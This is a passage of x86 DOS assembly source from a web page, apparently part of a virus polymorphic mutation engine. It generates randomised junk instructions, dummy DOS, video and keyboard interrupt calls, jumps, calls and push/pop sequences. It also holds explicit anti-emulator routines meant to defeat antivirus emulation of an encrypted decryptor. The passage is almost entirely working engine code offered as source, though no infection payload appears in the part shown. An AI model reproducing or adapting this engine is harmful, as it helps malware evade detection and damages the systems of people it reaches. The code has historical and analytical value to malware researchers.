jne end_cmp_check
mov byte ptr ds:[cmp_check],1 ; sign it.
end_cmp_check:
pop ax
call instr_change

finish_mate:
stosb ; instruction base oc
call do_random_dx_0f
mov cl,al
pop ax
mov al,0c0h ; op code for reg+instr
cmp ah,04
jae only16
push ax
call do_random_dx_0f ; reg16 or reg8
mov ch,al
pop ax
ror ch,1
jc only16
dec byte ptr es:[di-1] ; bytes opcode = word opcode-1
ror ch,1
jnc only16
add al,20h ; high 8 bits
jmp end_8_bts
only16:
cmp byte ptr es:[di-1],08bh ; only if moving
jne finishing_mate

cmp byte ptr ds:[ds_mody],00h
je check_for_es_change
push ax
call do_random_dx_0f
cmp al,02h
pop ax
ja check_for_es_change
add byte ptr es:[di-1],03h
mov ah,3 ; ds has eq second opcode as bx
jmp end_8_bts
check_for_es_change:
cmp byte ptr ds:[es_mody],00h
je end_8_bts
push ax
call do_random_dx_0f
cmp al,05h
pop ax
jb end_8_bts
add byte ptr es:[di-1],03h
sub ah,ah ; es has eq second opcode as ax
jmp end_8_bts

finishing_mate:
push ax
call do_random_dx_0f
cmp al,06h
pop ax
jb end_8_bts
mov al,06h
stosb
mov byte ptr ds:[reg8bits],00h
jmp gen_mpos
end_8_bts:
add al,cl
mov cl,ah
call instr_change
stor_chkjmp:
stosb
cmp word ptr ds:[cmp_check],0001 ; encountered a cmp?
jne not_comparing ; but out of a jmp region?
call jumping_zone ; no, so do one
not_comparing:
pop cx
ret

one_byte_instruction:
pop ax
mov al,byte ptr ds:[si] ; dec/inc generation
add al,ah
stosb
mov cl,ah
call do_random_dx_0f
mov ah,cl
cmp al,07h ; INT 21h generation?
jb nocd21
call generate_int
jmp no_ah_disp
nocd21:
mov cl,06h
cmp al,cl
jb no_ah_disp
call do_antiemulator
no_ah_disp:
cmp byte ptr ds:[emu_trick],00h
je go_away_now

in al,40h
shr al,1
jc no_cd20
shr al,1
jc only_a_ret
mov ax,20cdh
jmp short stor_n_go
only_a_ret:
mov al,0c3h
stosb
jmp short exit_exit_put
no_cd20:
shr al,1
jc with_el
mov ax,4cb4h ; mov ah,4ch
jmp short sto21_n_go
with_el:
mov al,0b8h
stosb
in al,40h ; random retrun code
mov ah,4ch ; mov ax,4cxxh
sto21_n_go:
stosw
mov ax,21cdh ; int 21h
stor_n_go:
stosw
exit_exit_put:
mov byte ptr ds:[emu_trick],00h
go_away_now:
pop cx
ret

not_nop:
mov al,0f7h ; not/neg
stosb
call do_random_dx_0f
mov cl,al
pop ax
push cx
mov al,byte ptr ds:[si] ; basic opcode
add al,ah ; register dependant
shr cl,1
jc isneg
add al,08h ; change to not
isneg:
pop cx
cmp byte ptr ds:[push_nr],2 ; max pushes nested
ja nopush
cmp cl,2
ja nopush
jmp dopushpop ; do push
nopush:
stosb
pop cx
ret

rolling:
mov al,byte ptr ds:[si]
stosb ; rol/ror... base oc
mov al,0c0h
call do_random_dx_0f
mov cl,al
pop ax
cmp cl,06h
jne no_increment
inc cl
no_increment:
mov al,0c0h ; the base
call conv16to8 ; 8 or 16 bit instruction?
add al,ah
call instr_change
stosb ; write the reg/op dipendant byte
pop cx
ret

three_bytes_instruction:
cmp al,8 ;mov reg,immediate
je doalea
cmp al,9 ;mov reg,[imm]
je domemcp
cmp al,0ah
je do_real_lea
mov al,083h ; write the fixed first byte
stosb
reget:
call do_random_dx_0f ; select which 3 bytes to do
mov cl,al
cmp cl,7
jne end_cmp_imm_check
mov byte ptr ds:[cmp_check],1
jmp short end_cmp_imm_check

do_compare:
push cx
call do_random_dx_0f
cmp ah,04h
je do_compare
push ax
mov al,83h
stosb
mov cl,7
mov al,0c0h
jmp short jch_npt

end_cmp_imm_check:
mov al,byte ptr ds:[si]
jch_npt:
call instr_change ; generate instruction
mov bl,al
pop ax
mov al,bl
call conv16to8 ; 16 or 8 bit instruction?
add al,ah
stosb
mov bx,0ffh ; select the random immediate
mov dx,bx
call do_random
jmp stor_chkjmp ; check for cmp and store

doalea:
mov cl,0b8h
pop ax
cmp ah,4 ; may we create a 8 bit mov?
jae mov16breg ; yeah, so select randomly which
push ax
in al,40h
ror al,1
jnc dowith16b
mov byte ptr ds:[reg8bits],1
mov cl,0b0h ; mov reg8_low,imm
ror al,1
jnc dowith16b
add cl,4 ; high 8 bits
dowith16b:
pop ax
mov16breg:
mov al,cl
add al,ah
stosb ; mov reg,immediate
jmp gen_mpos

do_real_lea:
mov al,08dh ; store first lea byte
stosb
pop ax ; ah = used register
mov cl,ah
mov al,06h
call instr_change
stosb
jmp gen_mpos

domemcp:
in al,40h ; select segment
shr al,1
jnc no_seg_change ; nc? only DS:
shr al,1
jc change_to_cs ; c? put CS:
mov al,026h ; nc? put ES:
stosb
jmp no_seg_change
change_to_cs:
mov al,02eh ; CS:
stosb
no_seg_change:
mov al,08bh
stosb ; mov reg,seg:[imm]
pop ax
mov cl,ah

mov al,06h
call instr_change
stosb

gen_mpos:
mov bx,07fffh ;select immediate
mov dx,bx
call do_random
stosb
xchg al,ah
cmp byte ptr ds:[reg8bits],1
je no_2_imms ; was an 8 bit instruction?
stosb
no_2_imms:
pop cx
ret

do_random_dx_0f:
mov bx,07h
mov dx,bx
do_random:
call real_random
cmp al,byte ptr ds:[last_random] ; equal as last used?
jne isokrandom
call real_random
isokrandom:
mov byte ptr ds:[last_random],al
ret

last_random db 0ffh

real_random:
in al,40h
mov ah,al
in al,40h
ror al,2
xor al,ah
and ax,dx
cmp ax,bx
ja real_random
end_real_random:
ret

instr_change:
cmp cl,00h ; generate new instruction
je finish_instr_change ; based on input register.
add al,08h
dec cl
jmp instr_change
finish_instr_change:
ret

conv16to8:
cmp ah,4
jae avante ; only from ax to dx
push ax
call do_random_dx_0f
mov ch,al
ror ch,1
pop ax
jnc avante ; do 8 or 16?
sub byte ptr es:[di-1],1
ror ch,1
jnc avante
add al,04 ; low 8 bits or high 8?
avante:
ret

int10_16:
cmp ch,0ch
ja no_get_cpos
mov ah,03h ; Get cursor position
jmp store_int_10
no_get_cpos:
cmp ch,0dh
ja no_int10
mov ah,0fh ; Get current video mode
jmp store_int_10
no_int10:
cmp ch,0eh
ja no_get_keystroke
mov ah,01h ; Get Keystroke
push ax
in al,40h
rol al,1
pop ax
jc store_int_16
inc ah ; Get shift states
jmp store_int_16
no_get_keystroke:
mov ah,09h ; Get KBD functionality
push ax
in al,40h
mov cl,al
rol cl,1
pop ax
jc store_int_16
inc ah

  
; get KBD id
rol cl,1
jc store_int_16
add ah,07h ; check for keystroke
store_int_16:
stosw
mov ax,16cdh ; int 16h
jmp sto_n_xit
store_int_10:
stosw
mov ax,10cdh ; int 10h
sto_n_xit:
stosw
jmp look_4_int_jmp


generate_int:
doint:
dec di
mov bx,0fh
mov dx,bx
call do_random
mov ch,al ; rnd in ch
mov al,0b4h ; MOV ah,
cmp byte ptr ds:[nocx],01h
je go_on_ah
cmp byte ptr ds:[count_reg],02h
jbe go_on_ah ; togli se non usi AX x cnt
cmp byte ptr ds:[count_reg],03h ; is BX as counter?
je lamah_jump
cmp byte ptr ds:[point_reg],03h ; is BX as pointer?
lamah_jump:
je intwithacd ; those with AX,CX,DX
cmp ch,1
jbe es_bx_oper
cmp ch,0ch
jae int10_16
cmp ch,0bh
jae es_bx_oper
cmp ch,4
jbe intwithacd
cmp ch,6
jbe go_on_ah
cmp ch,9
ja allocmem
cmp ch,7
je getpsp
mov ah,30h ; dos version
jmp storeandint
go_on_ah:
jmp onlyahint
es_bx_oper:
cmp byte ptr ds:[es_mody],00h
je no_es_modify
cmp ch,0bh
jb no_get_dta
ja get_indos_flag
mov ah,02fh ; get dta
jmp storeandint
get_indos_flag:
mov ah,034h
jmp storeandint ; get address indos flag
no_get_dta:
cmp ch,00h
je getintvec
mov ah,52h ; get list of the lists
jmp storeandint
getintvec:
mov ah,35h ; getintvec
jmp storeandint
no_es_modify:
cmp ch,0bh
je space_stuff
cmp ch,00h
je another_one
mov ah,51h ; get psp adress
jmp storeandint
space_stuff:
mov ah,36h ; get free disk space C:
stosw
mov ax,03b2h ; mov dl,03
jmp storeandint
another_one:
mov al,0b8h
stosb
mov ax,6601h ; get codepage
jmp storeandint
getpsp:
mov ah,62h ; get psp
jmp storeandint
intwithacd:
cmp ch,3
jae getbdrive
mov ah,06h ; ah=06h
stosw
mov al,0b2h ; mov dl
mov ah,0ffh ; ffh
jmp storeandint
allocmem:
mov ah,48h ; allocate mem
stosw
mov al,0bbh ; in bx max mem avaiable
stosb
sub ax,ax
dec ax ; bx=ffffh
jmp storeandint
getbdrive:
mov al,0b8h
stosb
mov ax,3305h
cmp ch,4
je storeandint
sub al,al
mov ah,058h
jmp storeandint
onlyahint:
mov bx,02h
mov dx,03h
push ax
call do_random
mov ch,al
pop ax
okah:
cmp ch,1
je getcdrive
cmp ch,2
je getveryfl
mov ah,0bh ; get stdin status
jmp storeandint
getveryfl:
mov ah,054h ; get verify flag
jmp storeandint
getcdrive:
mov ah,019h ; get default drive
storeandint:
stosw
mov ax,021cdh ; int 21h
stosw
look_4_int_jmp:
cmp byte ptr ds:[cmp_check],1
je icantint
in al,40h
rol al,1
jc icantint
mov byte ptr ds:[cmp_check],1
call do_compare
icantint:
ret

dopushpop:
dec di
inc byte ptr ds:[push_nr] ; increment the numba of pushes
push ax

mov bx,0ah
mov dx,0fh
call do_random

xchg al,ah

cmp ah,08h
jb no_segment_push
mov al,06h ; push es
cmp ah,08h
je add_n_store
add al,08h ; push cs
cmp ah,09h
je add_n_store
add al,10h ; push ds
jmp short add_n_store
no_segment_push:
mov al,50h ; push a reg
add al,ah
add_n_store:
stosb
call random_foo_instructions ; some shit between

call do_random_dx_0f

cmp al,06h
pop ax
jb no_pop_segment

mov al,07h ; pop es
cmp byte ptr ds:[es_mody],00h
je try_pop_ds
push ax
in al,40h ; cdanncaddacnjdcanjndca
ror al,1
pop ax
jc store_pop
try_pop_ds:
add al,18h ; pop ds
cmp byte ptr ds:[ds_mody],00h
jne store_pop
no_pop_segment:
mov al,58h ; pop with the selected one
add al,ah
store_pop:
stosb
pop cx
dec byte ptr ds:[push_nr] ; number of pushes curr. active
ret

jumping_zone:
mov byte ptr ds:[cmp_check2],1 ; lock jumping
mov bx,06h
mov dx,07h
call do_random
cmp al,06h
jne conditional_jump
jump_short_crea:
mov al,0ebh ; jmp short
jmp store_jump
conditional_jump:
mov ah,al ; jmp type
mov al,72h ; jmp base
add al,ah
store_jump:
stosb ; write jmp
retry_cond_jump:
push di
stosb ; where will jump
call random_foo_instructions
mov ax,di
pop di
push ax
sub ax,di
dec ax
cmp ax,7fh
jbe ok_lenght_jump
pop ax
jmp retry_cond_jump
ok_lenght_jump:
stosb ; put the bytes to jump
pop di
mov byte ptr ds:[cmp_check],0 ; reset both checks
mov byte ptr ds:[cmp_check2],0
ret

random_foo_instructions:
call do_random_dx_0f ; how much foo
cmp al,0
je random_foo_instructions
cmp byte ptr ds:[emu_trick],01h
jne no_Adding
inc al
inc al

no_Adding:
mov cl,al
sub ch,ch
call do_the_random ; generate foo instructions
ret

ob_oc db 98h,0f8h,0cch,0f9h,0fch,0fdh,0f5h,0cch ; one byters

one_byters:
call do_random_dx_0f
sub ah,ah
mov bx,offset ob_oc
add bx,ax
mov al,byte ptr ds:[bx]
stosb
ret

do_antiemulator:
cmp byte ptr ds:[cmp_check2],01h
jne cont_antiemu
jmp end_antiemu

cont_antiemu:
mov cl,ah
call do_random_dx_0f
mov ah,cl
cmp al,02h
je get_bdrive
cmp byte ptr ds:[nocx],01h
je cant_use
cmp byte ptr ds:[count_reg],01h ; cx
jne canuse
cant_use:
jmp end_antiemu
canuse:
cmp al,01h
je get_dos_ver
cmp al,06h
jae set_wrong_time
cmp al,03h
je one_byters
jmp do_a_call

set_wrong_time:
cmp al,06h
je withcl
mov ah,0b5h ; mov ch,
mov dl,19h
jmp short get_rnd_tset
withcl:
mov ah,0b1h ; mov cl,
mov dl,03dh
get_rnd_tset:
in al,40h
cmp al,dl
jb get_rnd_tset
xchg al,ah ; store the mov
stosw

mov byte ptr ds:[nocx],01h ; enable no cx change
call random_foo_instructions ; garbage instructions
mov byte ptr ds:[nocx],0ffh ; enable cx changing
mov ax,2db4h ; mov ah,2dh
stosw
xor dl,dl ; test al
xor dh,dh ; compare with 0
mov cl,03h ; jne
jmp store_and_jump



get_dos_ver:
cmp byte ptr ds:[count_reg],03h ; bx
je end_antiemu
cmp byte ptr ds:[point_reg],03h
je end_antiemu

mov ax,30b4h ; get dos version
stosw
mov cl,01h ; JAE
in al,40h
ror al,1
jc ok_this
add cl,04h ; JA
ok_this:
and al,011b ; 0 - 3
mov dh,al
xor dl,dl
mov cl,01h
jmp store_and_jump

get_bdrive:
cmp byte ptr ds:[count_reg],02h ; is dx usable?
je end_antiemu

mov al,0b8h ; mov ax,
stosb
mov ax,3305h ; get boot drive
stosw
mov dl,02h ; check DL
xor dh,dh ; compare with 00h
mov cl,03h ; JNE

store_and_jump:
mov ax,21cdh ; int 21h
stosw
mov al,82h ; cmp
stosb
mov al,0f8h ; cmp base
add al,dl ; dl contains register
mov ah,dh ; dh contains value
stosw
mov byte ptr ds:[emu_trick],01h
mov byte ptr ds:[cmp_check2],01h
mov al,cl ; cl contains type of jump
call conditional_jump
mov byte ptr ds:[emu_trick],00h
mov byte ptr ds:[cmp_check2],00h

end_antiemu:
ret

do_a_call:
push ax
mov al,0e8h ; make a CALL
stosb
push di
stosw
call random_foo_instructions ; some shit
pop si
mov cx,di
sub cx,si ; calculate offset
dec cx
dec cx
mov word ptr es:[si],cx ; here we will CALL
call random_foo_instructions ; again some shit
inc byte ptr ds:[push_nr]
pop ax ; AH = usable register
push cx
jmp no_pop_segment ; pop the IP

instructions:

; the data below this line is of use by the poly to create some of the
; various possible operations on registers in the trash generation part

;ONE BYTE ONLY
inc_16 db 040h ; INC REG16
dec_16 db 048h ; DEC REG16
mov_rr16 db 08bh ; general first byte
; + 0 (03h) ADD
; + 8 (0bh) OR
; + 10 (13h) ADC
; + 18 (1bh) SBB
; + 20 (23h) AND
; + 28 (2bh) SUB
; + 30 (33h) XOR
; + 38 (3bh) CMP
math_rr16 db 03h ; basic opcode
not_neg db 0d0h
rot_1 db 0d1h ; ROL/ROR/SHL/SHR/RCR/RCL/SAR/SAL REG16,1
rot_cl db 0d3h ; ROL REG16,CL
; +0h (0c0h) ADD
; +8h (0c8h) OR
; +10h (0d0h) ADC
; +18h (0d8h) SBB
; +20h (0e0h) AND
; +28h (0e8h) SUB
; +30h (0f0h) XOR
; +38h (0f8h) CMP
add_r16i db 0c0h ; ADD REG16,IMMEDIATE 2 byte
lea_reg db 0b8h ; LEA REG16,something

smpe_encrypted_end:

; Poly data start - This will be only in memory!

poly_data_mem:

enc_lenght dw 00h
last_done db 00h
reg8bits db 00h
cmp_check db 00h
cmp_check2 db 00h
count_reg db 0ffh
point_reg db 0ffh
pointer_di dw 00h
secphs dw 00h
isword db 00h
isrolror db 00h
push_nr db 00h
can_doda db 00h
es_mody db 00h ; 00 don't modify, 01 can modify
ds_mody db 00h ; 00 don't modify, 01 can modify
counter_pos dw 00h
emu_trick db 00h
inverse db 00h
nocx db 0ffh
seg_sta db 0ffh
; Poly data end

poly_data_mem_end:

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT